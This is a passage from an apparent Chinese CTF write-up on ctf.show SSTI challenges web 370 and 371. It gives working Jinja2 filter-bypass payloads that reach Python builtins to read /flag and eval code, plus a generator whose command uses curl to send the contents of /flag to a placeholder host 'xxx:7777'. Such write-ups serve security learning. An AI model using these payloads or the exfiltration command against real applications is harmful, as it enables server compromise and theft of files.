附赠一个字符串转换为chr小脚本

i= input("输入字符串:")
flag=""
for c in i:
    c= ord(c)
    b="chr(%d)" %(c)
    flag +=b+'%2b'
print(flag[0:-3:1])

在这里插入图片描述

在这里插入图片描述

web 370

在这里插入图片描述
这里的话就可以利用上关姿势,然后我们构造出数字来进行替换即可

{%set e=dict (aaaaaaaaaaaa=a,bbbbbbbbbbbb=b)|join|count%}
{% set a=(()|select|string|list).pop(e)%}
{%set ee=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set eee=dict(aaaaaaaaaaaaaeeeeeeaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set eeee=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set eeeee=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set eeeeee=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set flag=chr(ee)%2bchr(eeee)%2bchr(eeeeee)%2bchr(eee)%2bchr(eeeee)%}
{%print(x.open(flag).read())%}

web 371

print被过滤,这里的话我们用反弹shell来做

http://c8f74fd3-a05a-477c-bb97-10325b9ce77d.chall.ctf.show?name=
{% set c=(t|count)%}
{% set cc=(dict(e=a)|join|count)%}
{% set ccc=(dict(ee=a)|join|count)%}
{% set cccc=(dict(eee=a)|join|count)%}
{% set ccccc=(dict(eeee=a)|join|count)%}
{% set cccccc=(dict(eeeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set ccccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
{% set cccccccccccc=(dict(eeeeeeeeeee=a)|join|count)%}
{% set coun=(ccc~ccccc)|int%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=
%}
{%if x.eval(cmd)%}
abc
{%endif%}

cmd内的内容由以下脚本生成

def aaa(t):
    t='('+(int(t[:-1:])+1)*'c'+'~'+(int(t[-1])+1)*'c'+')|int'
    return t
s='__import__("os").popen("curl http://xxx:7777?p=`cat /flag`").read()'
def ccchr(s):
    t=''
    for i in range(len(s)):
        if i<len(s)-1:
            t+='chr('+aaa(str(ord(s[i])))+')%2b'
        else:
            t+='chr('+aaa(str(ord(s[i])))+')'
    return t
print(ccchr(s))

在这里插入图片描述

参考文献

https://flask.palletsprojects.com/en/2.2.x/
https://docs.python.org/zh-cn/3/tutorial/inputoutput.html
https://jinja.palletsprojects.com/en/3.0.x/templates/#filters
https://xz.aliyun.com/t/9407#toc-2
https://xz.aliyun.com/t/3679#toc-11
https://blog.csdn.net/qq_38154820/article/details/111399386
https://xz.aliyun.com/t/10394#toc-13
https://y4tacker.blog.csdn.net/article/details/107752717
https://misakikata.github.io

评论

quan9i

一个什么也不会的fw

twitter weibo github wechat

随机分类

Web安全 文章:248 篇
安全开发 文章:83 篇
硬件与物联网 文章:40 篇
Java安全 文章:34 篇
渗透测试 文章:154 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由,你需要用s

N

Nas

师傅您好!_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好,为什么我也是用windows2016和win10,但是流量是smb3,加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录